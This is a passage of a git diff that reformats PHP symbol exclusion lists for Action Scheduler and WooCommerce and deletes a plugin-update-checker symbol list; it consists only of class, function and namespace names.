'ActionScheduler_DBStoreMigrator', - 50 => 'ActionScheduler_RecurringActionScheduler', - 51 => 'ActionScheduler_ActionFactory', - 52 => 'ActionScheduler_FatalErrorMonitor', - 53 => 'ActionScheduler_wcSystemStatus', - 54 => 'ActionScheduler_NullLogEntry', - 55 => 'ActionScheduler_DataController', - 56 => 'WP_Async_Request', - 57 => 'CronExpression_FieldFactory', - 58 => 'CronExpression_FieldInterface', - 59 => 'CronExpression_MinutesField', - 60 => 'CronExpression_YearField', - 61 => 'CronExpression_DayOfMonthField', - 62 => 'CronExpression', - 63 => 'CronExpression_DayOfWeekField', - 64 => 'CronExpression_AbstractField', - 65 => 'CronExpression_HoursField', - 66 => 'CronExpression_MonthField', - 67 => 'ActionScheduler_Abstract_QueueRunner_Deprecated', - 68 => 'ActionScheduler_Store_Deprecated', - 69 => 'ActionScheduler_AdminView_Deprecated', - 70 => 'ActionScheduler_Schedule_Deprecated', - ), - 'exclude-namespaces' => - array ( - 0 => 'Action_Scheduler\\WP_CLI', - 1 => 'Action_Scheduler\\WP_CLI\\Action', - 12 => 'Action_Scheduler\\Migration', - ), -); \ No newline at end of file + array( + 'ActionScheduler', + 'ActionScheduler_Abstract_ListTable', + 'ActionScheduler_Abstract_QueueRunner', + 'ActionScheduler_Abstract_QueueRunner_Deprecated', + 'ActionScheduler_Abstract_RecurringSchedule', + 'ActionScheduler_Abstract_Schedule', + 'ActionScheduler_Abstract_Schema', + 'ActionScheduler_Action', + 'ActionScheduler_ActionClaim', + 'ActionScheduler_ActionFactory', + 'ActionScheduler_AdminView', + 'ActionScheduler_AdminView_Deprecated', + 'ActionScheduler_AsyncRequest_QueueRunner', + 'ActionScheduler_CanceledAction', + 'ActionScheduler_CanceledSchedule', + 'ActionScheduler_Compatibility', + 'ActionScheduler_CronSchedule', + 'ActionScheduler_DBLogger', + 'ActionScheduler_DBStore', + 'ActionScheduler_DBStoreMigrator', + 'ActionScheduler_DataController', + 'ActionScheduler_DateTime', + 'ActionScheduler_Exception', + 'ActionScheduler_FatalErrorMonitor', + 'ActionScheduler_FinishedAction', + 'ActionScheduler_HybridStore', + 'ActionScheduler_IntervalSchedule', + 'ActionScheduler_InvalidActionException', + 'ActionScheduler_ListTable', + 'ActionScheduler_Lock', + 'ActionScheduler_LogEntry', + 'ActionScheduler_Logger', + 'ActionScheduler_LoggerSchema', + 'ActionScheduler_NullAction', + 'ActionScheduler_NullLogEntry', + 'ActionScheduler_NullSchedule', + 'ActionScheduler_OptionLock', + 'ActionScheduler_QueueCleaner', + 'ActionScheduler_QueueRunner', + 'ActionScheduler_RecurringActionScheduler', + 'ActionScheduler_Schedule', + 'ActionScheduler_Schedule_Deprecated', + 'ActionScheduler_SimpleSchedule', + 'ActionScheduler_Store', + 'ActionScheduler_StoreSchema', + 'ActionScheduler_Store_Deprecated', + 'ActionScheduler_SystemInformation', + 'ActionScheduler_TimezoneHelper', + 'ActionScheduler_Versions', + 'ActionScheduler_WPCLI_Clean_Command', + 'ActionScheduler_WPCLI_Command', + 'ActionScheduler_WPCLI_QueueRunner', + 'ActionScheduler_WPCLI_Scheduler_command', + 'ActionScheduler_WPCommentCleaner', + 'ActionScheduler_wcSystemStatus', + 'ActionScheduler_wpCommentLogger', + 'ActionScheduler_wpPostStore', + 'ActionScheduler_wpPostStore_PostStatusRegistrar', + 'ActionScheduler_wpPostStore_PostTypeRegistrar', + 'ActionScheduler_wpPostStore_TaxonomyRegistrar', + 'CronExpression', + 'CronExpression_AbstractField', + 'CronExpression_DayOfMonthField', + 'CronExpression_DayOfWeekField', + 'CronExpression_FieldFactory', + 'CronExpression_FieldInterface', + 'CronExpression_HoursField', + 'CronExpression_MinutesField', + 'CronExpression_MonthField', + 'CronExpression_YearField', + 'WP_Async_Request', + ), + 'exclude-constants' => array( + ), + 'exclude-functions' => array( + 'action_scheduler_initialize_4_dot_0_dot_0', + 'action_scheduler_register_4_dot_0_dot_0', + 'as_enqueue_async_action', + 'as_get_datetime_object', + 'as_get_scheduled_actions', + 'as_has_scheduled_action', + 'as_next_scheduled_action', + 'as_schedule_cron_action', + 'as_schedule_recurring_action', + 'as_schedule_single_action', + 'as_supports', + 'as_unschedule_action', + 'as_unschedule_all_actions', + 'wc_get_scheduled_actions', + 'wc_next_scheduled_action', + 'wc_schedule_cron_action', + 'wc_schedule_recurring_action', + 'wc_schedule_single_action', + 'wc_unschedule_action', + ), + 'exclude-namespaces' => array( + 'Action_Scheduler\\Migration', + 'Action_Scheduler\\WP_CLI', + 'Action_Scheduler\\WP_CLI\\Action', + ), +); diff --git a/symbols/plugin-update-checker.php b/symbols/plugin-update-checker.php deleted file mode 100644 index a66e1e5..0000000 --- a/symbols/plugin-update-checker.php +++ /dev/null @@ -1,37 +0,0 @@ - array( - 'Puc_v4_Factory', - 'Puc_v4p11_Factory', - 'Puc_v4p11_UpdateChecker', - 'Puc_v4p11_UpgraderStatus', - 'Puc_v4p11_Utils', - 'Puc_v4p11_Autoloader', - 'Puc_v4p11_InstalledPackage', - 'Puc_v4p11_Metadata', - 'Puc_v4p11_OAuthSignature', - 'Puc_v4p11_Scheduler', - 'Puc_v4p11_StateStore', - 'Puc_v4p11_Update', - 'Puc_v4p11_DebugBar_Extension', - 'Puc_v4p11_DebugBar_Panel', - 'Puc_v4p11_DebugBar_PluginExtension', - 'Puc_v4p11_DebugBar_PluginPanel', - 'Puc_v4p11_DebugBar_ThemePanel', - 'Puc_v4p11_Plugin_Info', - 'Puc_v4p11_Plugin_Package', - 'Puc_v4p11_Plugin_Ui', - 'Puc_v4p11_Plugin_Update', - 'Puc_v4p11_Plugin_UpdateChecker', - 'Puc_v4p11_Theme_Package', - 'Puc_v4p11_Theme_Update', - 'Puc_v4p11_Theme_UpdateChecker', - 'Puc_v4p11_Vcs_Api', - 'Puc_v4p11_Vcs_BaseChecker', - 'Puc_v4p11_Vcs_BitBucketApi', - 'Puc_v4p11_Vcs_GitHubApi', - 'Puc_v4p11_Vcs_GitLabApi', - 'Puc_v4p11_Vcs_PluginUpdateChecker', - 'Puc_v4p11_Vcs_Reference', - 'Puc_v4p11_Vcs_ThemeUpdateChecker' - ) -); diff --git a/symbols/woocommerce.php b/symbols/woocommerce.php index d90ff92..b4c7641 100644 --- a/symbols/woocommerce.php +++ b/symbols/woocommerce.php @@ -1,2008 +1,2019 @@ - - array ( - 0 => 'WC', - 1 => 'wc_get_container', - 2 => 'wc_update_product_stock', - 3 => 'wc_update_product_stock_status', - 4 => 'wc_maybe_reduce_stock_levels', - 5 => 'wc_maybe_increase_stock_levels', - 6 => 'wc_reduce_stock_levels', - 7 => 'wc_trigger_stock_change_notifications', - 8 => 'wc_trigger_stock_change_actions', - 9 => 'wc_increase_stock_levels', - 10 => 'wc_get_held_stock_quantity', - 11 => 'wc_reserve_stock_for_order', - 12 => 'wc_release_stock_for_order', - 13 => 'wc_release_coupons_for_order', - 14 => 'wc_get_low_stock_amount', - 15 => 'wc_do_deprecated_action', - 16 => 'wc_deprecated_function', - 17 => 'wc_deprecated_hook', - 18 => 'wc_caught_exception', - 19 => 'wc_doing_it_wrong', - 20 => 'wc_deprecated_argument', - 21 => 'woocommerce_show_messages', - 22 => 'woocommerce_weekend_area_js', - 23 => 'woocommerce_tooltip_js', - 24 => 'woocommerce_datepicker_js', - 25 => 'woocommerce_admin_scripts', - 26 => 'woocommerce_create_page', - 27 => 'woocommerce_readfile_chunked', - 28 => 'woocommerce_format_total', - 29 => 'woocommerce_get_formatted_product_name', - 30 => 'woocommerce_legacy_paypal_ipn', - 31 => 'get_product', - 32 => 'woocommerce_protected_product_add_to_cart', - 33 => 'woocommerce_empty_cart', - 34 => 'woocommerce_load_persistent_cart', - 35 => 'woocommerce_add_to_cart_message', - 36 => 'woocommerce_clear_cart_after_payment', - 37 => 'woocommerce_cart_totals_subtotal_html', - 38 => 'woocommerce_cart_totals_shipping_html', - 39 => 'woocommerce_cart_totals_coupon_html', - 40 => 'woocommerce_cart_totals_order_total_html', - 41 => 'woocommerce_cart_totals_fee_html', - 42 => 'woocommerce_cart_totals_shipping_method_label', - 43 => 'woocommerce_get_template_part', - 44 => 'woocommerce_get_template', - 45 => 'woocommerce_locate_template', - 46 => 'woocommerce_mail', - 47 => 'woocommerce_disable_admin_bar', - 48 => 'woocommerce_create_new_customer', - 49 => 'woocommerce_set_customer_auth_cookie', - 50 => 'woocommerce_update_new_customer_past_orders', - 51 => 'woocommerce_paying_customer', - 52 => 'woocommerce_customer_bought_product', - 53 => 'woocommerce_customer_has_capability', - 54 => 'woocommerce_sanitize_taxonomy_name', - 55 => 'woocommerce_get_filename_from_url', - 56 => 'woocommerce_get_dimension', - 57 => 'woocommerce_get_weight', - 58 => 'woocommerce_trim_zeros', - 59 => 'woocommerce_round_tax_total', - 60 => 'woocommerce_format_decimal', - 61 => 'woocommerce_clean', - 62 => 'woocommerce_array_overlay', - 63 => 'woocommerce_price', - 64 => 'woocommerce_let_to_num', - 65 => 'woocommerce_date_format', - 66 => 'woocommerce_time_format', - 67 => 'woocommerce_timezone_string', - 68 => 'woocommerce_rgb_from_hex', - 69 => 'woocommerce_hex_darker', - 70 => 'woocommerce_hex_lighter', - 71 => 'woocommerce_light_or_dark', - 72 => 'woocommerce_format_hex', - 73 => 'woocommerce_get_order_id_by_order_key', - 74 => 'woocommerce_downloadable_file_permission', - 75 => 'woocommerce_downloadable_product_permissions', - 76 => 'woocommerce_add_order_item', - 77 => 'woocommerce_delete_order_item', - 78 => 'woocommerce_update_order_item_meta', - 79 => 'woocommerce_add_order_item_meta', - 80 => 'woocommerce_delete_order_item_meta', - 81 => 'woocommerce_get_order_item_meta', - 82 => 'woocommerce_cancel_unpaid_orders', - 83 => 'woocommerce_processing_order_count', - 84 => 'woocommerce_get_page_id', - 85 => 'woocommerce_get_endpoint_url', - 86 => 'woocommerce_lostpassword_url', - 87 => 'woocommerce_customer_edit_account_url', - 88 => 'woocommerce_nav_menu_items', - 89 => 'woocommerce_nav_menu_item_classes', - 90 => 'woocommerce_list_pages', - 91 => 'woocommerce_product_dropdown_categories', - 92 => 'woocommerce_walk_category_dropdown_tree', - 93 => 'woocommerce_taxonomy_metadata_wpdbfix', - 94 => 'wc_taxonomy_metadata_wpdbfix', - 95 => 'woocommerce_order_terms', - 96 => 'woocommerce_set_term_order', - 97 => 'woocommerce_terms_clauses', - 98 => '_woocommerce_term_recount', - 99 => 'woocommerce_recount_after_stock_change', - 100 => 'woocommerce_change_term_counts', - 101 => 'woocommerce_get_product_ids_on_sale', - 102 => 'woocommerce_get_featured_product_ids', - 103 => 'woocommerce_get_product_terms', - 104 => 'woocommerce_product_post_type_link', - 105 => 'woocommerce_placeholder_img_src', - 106 => 'woocommerce_placeholder_img', - 107 => 'woocommerce_get_formatted_variation', - 108 => 'woocommerce_scheduled_sales', - 109 => 'woocommerce_get_attachment_image_attributes', - 110 => 'woocommerce_prepare_attachment_for_js', - 111 => 'woocommerce_track_product_view', - 112 => 'woocommerce_compile_less_styles', - 113 => 'woocommerce_calc_shipping_backwards_compatibility', - 114 => 'woocommerce_get_product_schema', - 115 => '_wc_save_product_price', - 116 => 'wc_get_customer_avatar_url', - 117 => 'wc_get_core_supported_themes', - 118 => 'wc_get_min_max_price_meta_query', - 119 => 'wc_taxonomy_metadata_update_content_for_split_terms', - 120 => 'update_woocommerce_term_meta', - 121 => 'add_woocommerce_term_meta', - 122 => 'delete_woocommerce_term_meta', - 123 => 'get_woocommerce_term_meta', - 124 => 'wc_register_default_log_handler', - 125 => 'wc_get_log_file_path', - 126 => 'wc_get_log_file_name', - 127 => 'wc_load_persistent_cart', - 128 => 'woocommerce_product_subcategories', - 129 => 'wc_products_rss_feed', - 130 => 'woocommerce_reset_loop', - 131 => 'woocommerce_product_reviews_tab', - 132 => 'get_woocommerce_api_url', - 133 => 'wc_get_brand_thumbnail_url', - 134 => 'wc_get_brand_thumbnail_image', - 135 => 'wc_get_brands', - 136 => 'get_brand_thumbnail_url', - 137 => 'get_brand_thumbnail_image', - 138 => 'get_brands', - 139 => 'wc_rest_prepare_date_response', - 140 => 'wc_rest_allowed_image_mime_types', - 141 => 'wc_rest_upload_image_from_url', - 142 => 'wc_rest_set_uploaded_image_as_attachment', - 143 => 'wc_rest_validate_reports_request_arg', - 144 => 'wc_rest_urlencode_rfc3986', - 145 => 'wc_rest_check_post_permissions', - 146 => 'wc_rest_check_user_permissions', - 147 => 'wc_rest_check_product_term_permissions', - 148 => 'wc_rest_check_manager_permissions', - 149 => 'wc_rest_check_product_reviews_permissions', - 150 => 'wc_rest_is_from_product_editor', - 151 => 'wc_rest_should_load_namespace', - 152 => 'wc_log_order_step', - 153 => 'extract_order_safe_data', - 154 => 'wc_lostpassword_url', - 155 => 'wc_customer_edit_account_url', - 156 => 'wc_edit_address_i18n', - 157 => 'wc_get_account_menu_items', - 158 => 'wc_is_current_account_menu_item', - 159 => 'wc_get_account_menu_item_classes', - 160 => 'wc_get_account_endpoint_url', - 161 => 'wc_get_account_orders_columns', - 162 => 'wc_get_account_downloads_columns', - 163 => 'wc_get_account_payment_methods_columns', - 164 => 'wc_get_account_payment_methods_types', - 165 => 'wc_get_account_orders_actions', - 166 => 'wc_get_account_formatted_address', - 167 => 'wc_get_account_saved_payment_methods_list', - 168 => 'wc_get_account_saved_payment_methods_list_item_cc', - 169 => 'wc_get_account_saved_payment_methods_list_item_echeck', - 170 => 'wc_disable_admin_bar', - 171 => 'wc_create_new_customer', - 172 => 'wc_create_new_customer_username', - 173 => 'wc_set_customer_auth_cookie', - 174 => 'wc_update_new_customer_past_orders', - 175 => 'wc_paying_customer', - 176 => 'wc_customer_bought_product', - 177 => 'wc_current_user_has_role', - 178 => 'wc_user_has_role', - 179 => 'wc_customer_has_capability', - 180 => 'wc_shop_manager_has_capability', - 181 => 'wc_modify_editable_roles', - 182 => 'wc_modify_map_meta_cap', - 183 => 'wc_get_customer_download_permissions', - 184 => 'wc_get_customer_available_downloads', - 185 => 'wc_get_customer_total_spent', - 186 => 'wc_get_customer_order_count', - 187 => 'wc_reset_order_customer_id_on_deleted_user', - 188 => 'wc_review_is_from_verified_owner', - 189 => 'wc_disable_author_archives_for_customers', - 190 => 'wc_update_profile_last_update_time', - 191 => 'wc_meta_update_last_update_time', - 192 => 'wc_set_user_last_update_time', - 193 => 'wc_get_customer_saved_methods_list', - 194 => 'wc_get_customer_last_order', - 195 => 'wc_delete_user_data', - 196 => 'wc_maybe_store_user_agent', - 197 => 'wc_user_logged_in', - 198 => 'wc_current_user_is_active', - 199 => 'wc_update_user_last_active', - 200 => 'wc_translate_user_roles', - 201 => 'wc_add_order_item', - 202 => 'wc_update_order_item', - 203 => 'wc_delete_order_item', - 204 => 'wc_update_order_item_meta', - 205 => 'wc_add_order_item_meta', - 206 => 'wc_delete_order_item_meta', - 207 => 'wc_get_order_item_meta', - 208 => 'wc_get_order_id_by_order_item_id', - 209 => 'wc_importer_shopify_mappings', - 210 => 'wc_importer_shopify_special_mappings', - 211 => 'wc_importer_shopify_expand_data', - 212 => 'wc_importer_wordpress_mappings', - 213 => 'wc_importer_generic_mappings', - 214 => 'wc_importer_current_locale', - 215 => 'wc_importer_default_english_mappings', - 216 => 'wc_importer_default_special_english_mappings', - 217 => 'woocommerce_legacy_reports_init', - 218 => 'woocommerce_wp_text_input', - 219 => 'woocommerce_wp_hidden_input', - 220 => 'woocommerce_wp_textarea_input', - 221 => 'woocommerce_wp_checkbox', - 222 => 'woocommerce_wp_select', - 223 => 'woocommerce_wp_radio', - 224 => 'woocommerce_wp_note', - 225 => 'wc_get_screen_ids', - 226 => 'wc_get_page_screen_id', - 227 => 'wc_create_page', - 228 => 'woocommerce_admin_fields', - 229 => 'woocommerce_update_options', - 230 => 'woocommerce_settings_get_option', - 231 => 'wc_maybe_adjust_line_item_product_stock', - 232 => 'wc_save_order_items', - 233 => 'wc_render_action_buttons', - 234 => 'wc_render_invalid_variation_notice', - 235 => 'wc_get_current_admin_url', - 236 => 'wc_get_default_product_type_options', - 237 => 'wc_interactivity_api_load_product', - 238 => 'wc_interactivity_api_load_purchasable_child_products', - 239 => 'wc_interactivity_api_load_variations', - 240 => 'wc_change_get_terms_defaults', - 241 => 'wc_change_pre_get_terms', - 242 => 'wc_terms_clauses', - 243 => 'wc_get_object_terms', - 244 => '_wc_get_cached_product_terms', - 245 => 'wc_get_product_terms', - 246 => '_wc_get_product_terms_name_num_usort_callback', - 247 => '_wc_get_product_terms_parent_usort_callback', - 248 => 'wc_product_dropdown_categories', - 249 => 'wc_walk_category_dropdown_tree', - 250 => 'wc_taxonomy_metadata_migrate_data', - 251 => 'wc_reorder_terms', - 252 => 'wc_set_term_order', - 253 => '_wc_term_recount', - 254 => 'wc_recount_after_stock_change', - 255 => 'wc_change_term_counts', - 256 => 'wc_get_term_product_ids', - 257 => 'wc_clear_term_product_ids', - 258 => 'wc_get_product_visibility_term_ids', - 259 => 'wc_recount_all_terms', - 260 => '_wc_recount_terms_by_product', - 261 => 'wc_update_200_file_paths', - 262 => 'wc_update_200_permalinks', - 263 => 'wc_update_200_subcat_display', - 264 => 'wc_update_200_taxrates', - 265 => 'wc_update_200_line_items', - 266 => 'wc_update_200_images', - 267 => 'wc_update_200_db_version', - 268 => 'wc_update_209_brazillian_state', - 269 => 'wc_update_209_db_version', - 270 => 'wc_update_210_remove_pages', - 271 => 'wc_update_210_file_paths', - 272 => 'wc_update_210_db_version', - 273 => 'wc_update_220_shipping', - 274 => 'wc_update_220_order_status', - 275 => 'wc_update_220_variations', - 276 => 'wc_update_220_attributes', - 277 => 'wc_update_220_db_version', - 278 => 'wc_update_230_options', - 279 => 'wc_update_230_db_version', - 280 => 'wc_update_240_options', - 281 => 'wc_update_240_shipping_methods', - 282 => 'wc_update_240_api_keys', - 283 => 'wc_update_240_webhooks', - 284 => 'wc_update_240_refunds', - 285 => 'wc_update_240_db_version', - 286 => 'wc_update_241_variations', - 287 => 'wc_update_241_db_version', - 288 => 'wc_update_250_currency', - 289 => 'wc_update_250_db_version', - 290 => 'wc_update_260_options', - 291 => 'wc_update_260_termmeta', - 292 => 'wc_update_260_zones', - 293 => 'wc_update_260_zone_methods', - 294 => 'wc_update_260_refunds', - 295 => 'wc_update_260_db_version', - 296 => 'wc_update_300_webhooks', - 297 => 'wc_update_300_comment_type_index', - 298 => 'wc_update_300_grouped_products', - 299 => 'wc_update_300_settings', - 300 => 'wc_update_300_product_visibility', - 301 => 'wc_update_300_db_version', - 302 => 'wc_update_310_downloadable_products', - 303 => 'wc_update_310_old_comments', - 304 => 'wc_update_310_db_version', - 305 => 'wc_update_312_shop_manager_capabilities', - 306 => 'wc_update_312_db_version', - 307 => 'wc_update_320_mexican_states', - 308 => 'wc_update_320_db_version', - 309 => 'wc_update_330_image_options', - 310 => 'wc_update_330_webhooks', - 311 => 'wc_update_330_set_default_product_cat', - 312 => 'wc_update_330_product_stock_status', - 313 => 'wc_update_330_clear_transients', - 314 => 'wc_update_330_set_paypal_sandbox_credentials', - 315 => 'wc_update_330_db_version', - 316 => 'wc_update_340_states', - 317 => 'wc_update_340_state', - 318 => 'wc_update_340_last_active', - 319 => 'wc_update_340_db_version', - 320 => 'wc_update_343_cleanup_foreign_keys', - 321 => 'wc_update_343_db_version', - 322 => 'wc_update_344_recreate_roles', - 323 => 'wc_update_344_db_version', - 324 => 'wc_update_350_reviews_comment_type', - 325 => 'wc_update_350_db_version', - 326 => 'wc_update_352_drop_download_log_fk', - 327 => 'wc_update_354_modify_shop_manager_caps', - 328 => 'wc_update_354_db_version', - 329 => 'wc_update_360_product_lookup_tables', - 330 => 'wc_update_360_term_meta', - 331 => 'wc_update_360_downloadable_product_permissions_index', - 332 => 'wc_update_360_db_version', - 333 => 'wc_update_370_tax_rate_classes', - 334 => 'wc_update_370_mro_std_currency', - 335 => 'wc_update_370_db_version', - 336 => 'wc_update_390_move_maxmind_database', - 337 => 'wc_update_390_change_geolocation_database_update_cron', - 338 => 'wc_update_390_db_version', - 339 => 'wc_update_400_increase_size_of_column', - 340 => 'wc_update_400_reset_action_scheduler_migration_status', - 341 => 'wc_update_400_db_version', - 342 => 'wc_update_440_insert_attribute_terms_for_variable_products', - 343 => 'wc_update_440_db_version', - 344 => 'wc_update_450_db_version', - 345 => 'wc_update_450_sanitize_coupons_code', - 346 => 'wc_update_500_fix_product_review_count', - 347 => 'wc_update_500_db_version', - 348 => 'wc_update_560_create_refund_returns_page', - 349 => 'wc_update_560_db_version', - 350 => 'wc_update_600_migrate_rate_limit_options', - 351 => 'wc_update_600_db_version', - 352 => 'wc_update_630_create_product_attributes_lookup_table', - 353 => 'wc_update_630_db_version', - 354 => 'wc_update_640_add_primary_key_to_product_attributes_lookup_table', - 355 => 'wc_update_640_db_version', - 356 => 'wc_update_650_approved_download_directories', - 357 => 'wc_update_651_approved_download_directories', - 358 => 'wc_update_670_purge_comments_count_cache', - 359 => 'wc_update_700_remove_download_log_fk', - 360 => 'wc_update_700_remove_recommended_marketing_plugins_transient', - 361 => 'wc_update_721_adjust_new_zealand_states', - 362 => 'wc_update_721_adjust_ukraine_states', - 363 => 'wc_update_722_adjust_new_zealand_states', - 364 => 'wc_update_722_adjust_ukraine_states', - 365 => 'wc_update_750_add_columns_to_order_stats_table', - 366 => 'wc_update_750_disable_new_product_management_experience', - 367 => 'wc_update_770_remove_multichannel_marketing_feature_options', - 368 => 'wc_update_790_blockified_product_grid_block', - 369 => 'wc_update_810_migrate_transactional_metadata_for_hpos', - 370 => 'wc_update_830_rename_checkout_template', - 371 => 'wc_update_830_rename_cart_template', - 372 => 'wc_update_860_remove_recommended_marketing_plugins_transient', - 373 => 'wc_update_870_prevent_listing_of_transient_files_directory', - 374 => 'wc_update_890_update_connect_to_woocommerce_note', - 375 => 'wc_update_890_update_paypal_standard_load_eligibility', - 376 => 'wc_update_891_create_plugin_autoinstall_history_option', - 377 => 'wc_update_910_add_launch_your_store_tour_option', - 378 => 'wc_update_920_add_wc_hooked_blocks_version_option', - 379 => 'wc_update_910_remove_obsolete_user_meta', - 380 => 'wc_update_930_add_woocommerce_coming_soon_option', - 381 => 'wc_update_930_migrate_user_meta_for_launch_your_store_tour', - 382 => 'wc_update_940_add_phone_to_order_address_fts_index', - 383 => 'wc_update_940_remove_help_panel_highlight_shown', - 384 => 'wc_update_1000_multisite_visibility_setting', - 385 => 'wc_update_950_tracking_option_autoload', - 386 => 'wc_update_961_migrate_default_email_base_color', - 387 => 'wc_update_1020_add_old_refunded_order_items_to_product_lookup_table', - 388 => 'wc_update_980_remove_order_attribution_install_banner_dismissed_option', - 389 => 'wc_update_985_enable_new_payments_settings_page_feature', - 390 => 'wc_update_990_remove_wc_count_comments_transient', - 391 => 'wc_update_990_remove_email_notes', - 392 => 'wc_update_1000_remove_patterns_toolkit_transient', - 393 => 'wc_update_1030_add_comments_date_type_index', - 394 => 'wc_update_1040_cleanup_legacy_ptk_patterns_fetching', - 395 => 'wc_update_1050_migrate_brand_permalink_setting', - 396 => 'wc_update_1050_enable_autoload_options', - 397 => 'wc_update_1050_remove_deprecated_marketplace_option', - 398 => 'wc_update_1060_add_woo_idx_comment_approved_type_index', - 399 => 'wc_update_1070_disable_hpos_sync_on_read', - 400 => 'wc_update_1080_migrate_analytics_import_option', - 401 => 'wc_update_10802_restore_orders_meta_key_value_index', - 402 => 'wc_update_1080_backfill_email_template_sync_meta', - 403 => 'wc_update_1090_remove_task_list_reminder_bar_hidden_option', - 404 => 'wc_update_10902_remove_deprecated_push_notifications_option', - 405 => 'wc_template_redirect', - 406 => 'wc_send_frame_options_header', - 407 => 'wc_prevent_endpoint_indexing', - 408 => 'wc_prevent_adjacent_posts_rel_link_wp_head', - 409 => 'wc_gallery_noscript', - 410 => 'wc_setup_product_data', - 411 => 'wc_setup_loop', - 412 => 'wc_reset_loop', - 413 => 'wc_get_loop_prop', - 414 => 'wc_set_loop_prop', - 415 => 'wc_set_loop_product_visibility', - 416 => 'wc_get_loop_product_visibility', - 417 => 'woocommerce_product_loop', - 418 => 'wc_generator_tag', - 419 => 'wc_body_class', - 420 => 'wc_no_js', - 421 => 'wc_product_cat_class', - 422 => 'wc_get_default_products_per_row', - 423 => 'wc_get_default_product_rows_per_page', - 424 => 'wc_reset_product_grid_settings', - 425 => 'wc_get_loop_class', - 426 => 'wc_get_product_cat_class', - 427 => 'wc_product_post_class', - 428 => 'wc_get_product_taxonomy_class', - 429 => 'wc_get_product_class', - 430 => 'wc_product_class', - 431 => 'wc_query_string_form_fields', - 432 => 'wc_terms_and_conditions_page_id', - 433 => 'wc_privacy_policy_page_id', - 434 => 'wc_terms_and_conditions_checkbox_enabled', - 435 => 'wc_get_terms_and_conditions_checkbox_text', - 436 => 'wc_get_privacy_policy_text', - 437 => 'wc_terms_and_conditions_checkbox_text', - 438 => 'wc_terms_and_conditions_page_content', - 439 => 'wc_checkout_privacy_policy_text', - 440 => 'wc_registration_privacy_policy_text', - 441 => 'wc_privacy_policy_text', - 442 => 'wc_replace_policy_page_link_placeholders', - 443 => 'woocommerce_content', - 444 => 'woocommerce_output_content_wrapper', - 445 => 'woocommerce_output_content_wrapper_end', - 446 => 'woocommerce_get_sidebar', - 447 => 'woocommerce_demo_store', - 448 => 'woocommerce_page_title', - 449 => 'woocommerce_product_loop_start', - 450 => 'woocommerce_product_loop_end', - 451 => 'woocommerce_template_loop_product_title', - 452 => 'woocommerce_template_loop_category_title', - 453 => 'woocommerce_template_loop_product_link_open', - 454 => 'woocommerce_template_loop_product_link_close', - 455 => 'woocommerce_template_loop_category_link_open', - 456 => 'woocommerce_template_loop_category_link_close', - 457 => 'woocommerce_product_taxonomy_archive_header', - 458 => 'woocommerce_taxonomy_archive_description', - 459 => 'woocommerce_product_archive_description', - 460 => 'woocommerce_template_loop_add_to_cart', - 461 => 'woocommerce_template_loop_product_thumbnail', - 462 => 'woocommerce_template_loop_price', - 463 => 'woocommerce_template_loop_rating', - 464 => 'woocommerce_show_product_loop_sale_flash', - 465 => 'woocommerce_get_product_thumbnail', - 466 => 'woocommerce_result_count', - 467 => 'woocommerce_catalog_ordering', - 468 => 'woocommerce_pagination', - 469 => 'woocommerce_show_product_images', - 470 => 'woocommerce_show_product_thumbnails', - 471 => 'wc_get_gallery_image_html', - 472 => 'wc_get_product_gallery_html', - 473 => 'wc_render_product_image_template_for', - 474 => 'wc_render_product_image_template_for_image_ids', - 475 => 'wc_apply_product_image_overrides', - 476 => 'woocommerce_get_alt_from_product_title_and_position', - 477 => 'woocommerce_output_product_data_tabs', - 478 => 'woocommerce_template_single_title', - 479 => 'woocommerce_template_single_rating', - 480 => 'woocommerce_template_single_price', - 481 => 'woocommerce_template_single_excerpt', - 482 => 'woocommerce_template_single_meta', - 483 => 'woocommerce_template_single_sharing', - 484 => 'woocommerce_show_product_sale_flash', - 485 => 'woocommerce_template_single_add_to_cart', - 486 => 'woocommerce_simple_add_to_cart', - 487 => 'woocommerce_grouped_add_to_cart', - 488 => 'woocommerce_variable_add_to_cart', - 489 => 'woocommerce_external_add_to_cart', - 490 => 'woocommerce_quantity_input', - 491 => 'woocommerce_product_description_tab', - 492 => 'woocommerce_product_additional_information_tab', - 493 => 'woocommerce_default_product_tabs', - 494 => 'woocommerce_sort_product_tabs', - 495 => 'woocommerce_comments', - 496 => 'woocommerce_review_display_gravatar', - 497 => 'woocommerce_review_display_rating', - 498 => 'woocommerce_review_display_meta', - 499 => 'woocommerce_review_display_comment_text', - 500 => 'woocommerce_output_related_products', - 501 => 'woocommerce_related_products', - 502 => 'woocommerce_upsell_display', - 503 => 'woocommerce_shipping_calculator', - 504 => 'woocommerce_cart_totals', - 505 => 'woocommerce_cross_sell_display', - 506 => 'woocommerce_button_proceed_to_checkout', - 507 => 'woocommerce_widget_shopping_cart_button_view_cart', - 508 => 'woocommerce_widget_shopping_cart_proceed_to_checkout', - 509 => 'woocommerce_widget_shopping_cart_subtotal', - 510 => 'woocommerce_mini_cart', - 511 => 'woocommerce_login_form', - 512 => 'woocommerce_checkout_login_form', - 513 => 'woocommerce_breadcrumb', - 514 => 'woocommerce_order_review', - 515 => 'woocommerce_checkout_payment', - 516 => 'woocommerce_checkout_coupon_form', - 517 => 'woocommerce_products_will_display', - 518 => 'woocommerce_get_loop_display_mode', - 519 => 'woocommerce_maybe_show_product_subcategories', - 520 => 'woocommerce_output_product_categories', - 521 => 'woocommerce_get_product_subcategories', - 522 => 'woocommerce_subcategory_thumbnail', - 523 => 'woocommerce_order_details_table', - 524 => 'woocommerce_order_downloads_table', - 525 => 'woocommerce_order_again_button', - 526 => 'woocommerce_form_field', - 527 => 'get_product_search_form', - 528 => 'woocommerce_output_auth_header', - 529 => 'woocommerce_output_auth_footer', - 530 => 'woocommerce_single_variation', - 531 => 'woocommerce_single_variation_add_to_cart_button', - 532 => 'wc_dropdown_variation_attribute_options', - 533 => 'woocommerce_account_content', - 534 => 'woocommerce_account_navigation', - 535 => 'woocommerce_account_orders', - 536 => 'woocommerce_account_view_order', - 537 => 'woocommerce_account_downloads', - 538 => 'woocommerce_account_edit_address', - 539 => 'woocommerce_account_payment_methods', - 540 => 'woocommerce_account_add_payment_method', - 541 => 'woocommerce_account_edit_account', - 542 => 'wc_no_products_found', - 543 => 'wc_get_email_order_items', - 544 => 'wc_get_email_fulfillment_items', - 545 => 'wc_display_item_meta', - 546 => 'wc_display_item_downloads', - 547 => 'woocommerce_photoswipe', - 548 => 'wc_display_product_attributes', - 549 => 'wc_get_stock_html', - 550 => 'wc_get_rating_html', - 551 => 'wc_get_star_rating_html', - 552 => 'wc_get_price_html_from_text', - 553 => 'wc_get_logout_redirect_url', - 554 => 'wc_logout_url', - 555 => 